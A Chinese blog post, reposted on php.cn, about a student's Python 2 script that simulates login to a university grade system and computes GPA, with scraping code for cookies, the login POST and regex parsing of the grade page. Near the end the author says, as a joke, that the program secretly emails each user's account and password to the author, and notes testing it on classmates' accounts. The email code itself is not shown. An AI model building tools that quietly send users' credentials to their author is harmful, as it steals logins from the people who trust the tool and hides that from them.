模拟登录教务系统计算GPA的小程序

零下一度
发布: 2017-05-27 14:43:54
原创
4544人浏览过

  做了一些小游戏之后开始慢慢体会敲代码是件体力活,慢慢熬总能熬出来的。这几天又心血来潮想写个程序模拟登录教务系统计算gpa的小程序。不过之前没有一点点网络编程的经验,就趁着期中考后放假4天,一点点把坑填上。
  最近对java语言有莫名好感。原本也打算用java开发,但事实证明java在网络编程方面似乎比python麻烦,加上java一个方法用错导致学校教务系统误以为我在进行sql注入把我的ip封了(。。。)从此下定决心用python写。

  cookie用于记录登录后的会话状态

# 保存cookie
cj = cookielib.LWPCookieJar()
cookie_support = urllib2.HTTPCookieProcessor(cj)
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
登录后复制

  先用浏览器登录教务系统,打开控制台分析登录网页需要post哪些消息和找出真正的请求网页。

算GPA小程序开发0
算GPA小程序开发1

  由上面两图分析得到真实的请求网页是:121.251.19.29/pass.asp

  登录需要post的数据为:UserStyle,user,password,其中UserStyle是radio类型,看网页源代码得到分为student,teacher和OtherUser三种。

  接下去发送post请求。

url = '121.251.19.29/pass.asp'
h = urllib2.urlopen(url)
info = {'UserStyle': 'student', 'user': user, 'password': psw}
info = urllib.urlencode(info)
req = urllib2.Request(url, info)
urllib2.urlopen(req)
登录后复制

  成功登录后,找到成绩查询的选项点击,找到请求的网页为:121.251.19.29/student/asp/Select_Success.asp

算GPA小程序开发2

  打开请求网页,读取成绩页面源代码

req = urllib2.Request('121.251.19.29/student/asp/Select_Success.asp')
resData = urllib2.urlopen(req)
res = resData.read()  # 读取成绩页面
登录后复制

  用正则表达式过滤所有HTML标签。剩下的内容进行解析。显示成绩的表格有周期性规律,提取对应科目的成绩和学分,最后计算平均分和绩点。

tag = re.compile('</?[^>]*>')
s = re.sub(tag, '', res)  # 过滤标签
tmp = s.split()
登录后复制

  当然,如果帐号或密码输入错误,则请求登录失败,会提示用户重新输入帐号密码。下面找了几个同学的帐号来测试。

算GPA小程序开发3
算GPA小程序开发4
算GPA小程序开发5
算GPA小程序开发6

  最后还稍微抖个机灵,帐号成功登陆后会把帐号密码发到我的邮箱

  python模拟发普通文本邮件的内容就不写了。。直接开源吧:github.com/ly941122/CalGPA

【相关推荐】

1. PHP采集、模拟登陆论坛小程序_PHP教程

沉浸式翻译
沉浸式翻译

沉浸式翻译:全网口碑炸裂的双语对照网页翻译插件

沉浸式翻译 205
查看详情 沉浸式翻译

2. 微信小程序开发之登录流程制作说明

3. 小程序开发之表单验证实例教程

4. 详解优化你的微信小程序

以上就是模拟登录教务系统计算GPA的小程序的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号